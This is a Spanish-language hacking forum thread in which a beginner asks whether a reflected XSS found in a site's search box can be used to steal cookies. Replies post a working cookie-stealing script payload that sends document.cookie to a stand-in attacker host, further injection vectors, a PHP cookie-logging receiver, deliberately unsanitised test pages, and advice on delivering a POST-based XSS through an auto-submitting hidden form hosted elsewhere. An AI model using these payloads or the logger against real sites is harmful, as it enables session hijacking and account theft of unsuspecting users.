[SOLUCIONADO] ¿Es posible robar cookies con un XSS Reflejado?

Iniciado por XDA, Enero 30, 2017, 04:41:59 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 30, 2017, 04:41:59 AM Ultima modificación: Enero 31, 2017, 07:07:18 PM por rollth
Hola estoy aprendiendo javascript y un poco de XSS.

ire al punto encontre lo que entiendo es un XSS reflejado en un sitio, tengo entendido que es reflejado ya que esta en un input de busqueda.  Al parecer no se pueden ver los parametros en los links, aun es posible hacer un robo de cookies? o que se puede hacer en un caso asi?

Gracias

Hola,

Lamentablemente no te sirve para el robo de cookies.

Saludos,
ANTRAX


¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.

En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

Saludos,
ANTRAX


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

Tenés razón, pero en ese caso existiría el problema de que, por ejemplo en Google Chrome, saltaría el filtro anti XSS.

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

Código: text
<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>


Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX


Enero 30, 2017, 10:21:38 AM #6 Ultima modificación: Enero 30, 2017, 11:16:37 AM por Nobody
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

Código: text
<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>


Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX

Me dejaste pensando sobre el filtro anti XSS de Chrome, voy a hacer una pruebas y comparto resultados. La verdad que nunca pensé que es lo que filtra realmente ese anti XSS.

Edit: Bueno, después de probar dos diferentes vectores, quedó en conclusión que el filtro Anti XSS de Chrome es bastante más complejo de lo que pensabamos, comparto resultados:


CitarVector: xss.php?color=red"></font><script>window.location='No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</script><font>

Después de eso pensé que tal vez el filtro Anti XSS filtraba vectores "complejos" o que apuntasen hacia otro dominio, así que intenté con un vector un poco más simple (y con un xss.php más simple aún, para que no hubiese ningún tipo de problemas).


CitarVector: xss.php?str=<h1 onmouseover='document.body.innerHTML = "XSS";'>test</h1>

Otras pruebas que realicé (de las cuales no tengo capturas), en las que Chrome también filtra vectores como " ' onmouseover=...", pero no filtra vectores como "<h1>Underc0de</h1>". En conclusión, filtra todo contenido que pueda ser "malicioso", es decir, todo código JavaScript.

Adjunto los códigos PHP utilizados en el laboratorio, por si alguien quiere hacer sus propias pruebas.

cookie.php
Código: php
<?php
error_reporting(0);
define('ROOTPATH', dirname(__FILE__));
$cookie = $_GET['c'];
$log = fopen(ROOTPATH . "/logs.txt", "a");
$format = "Cookie: %s\n\n";
$print = sprintf($format);
fwrite($log, $print);
fclose($log);
?>


xss.php (imagen uno).
Código: php
<?php

$color = $_GET['color'];
echo "<font color=\"$color\">Hello, world!</font>";

if(!isset($_COOKIE['randcookie']))
{
$random = rand();
setcookie('randcookie', $random);
$_COOKIE['randcookie'] = $random;
echo "<br/><br/>Random cookie does not exist, creating a new one!";
}

?>


xss.php (imagen dos)
Código: php
<?php

$str = $_GET["str"];
print $str;

?>


Para finalizar quiero aclarar que fueron pruebas muy poco elaboradas y estaré intentando evadir el filtro Anti XSS de Chrome por otros métodos, en caso de lograrse, compartiré los resultados.

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Enero 30, 2017, 12:25:21 PM #7 Ultima modificación: Enero 30, 2017, 12:27:17 PM por rollth
Aunque digan que no, si se puede, yo hice hace tiempo una prueba de concepto aquí en Underc0de, lo que tienes que hacer es con un hosting tuyo preparar un form idéntico al de la página web con una serie de inputs escondidos y sus valores respectivos y otro input escondido con el payload, luego haces que se envíe el form con una imagen y el atributo onload.

Te dejo aquí el link de como lo hice yo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Luego robarías cookies como en un XSS normal :D

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!

Si se podría hacer un robo de cookies a través de un hosting propio y un form, mira el tutorial que te he pasado, solo tendrías que cambiar el alert del xss por tu cookie stealer :D

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Enero 30, 2017, 05:05:27 PM #10 Ultima modificación: Enero 30, 2017, 06:04:22 PM por rollth
Y ya que estamos, te recomiendo que te leas los talleres de seguridad web (o al menos el número 1 donde se habla de XSS), cualquier cosa me comentas que los hice yo :P

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Un saludo!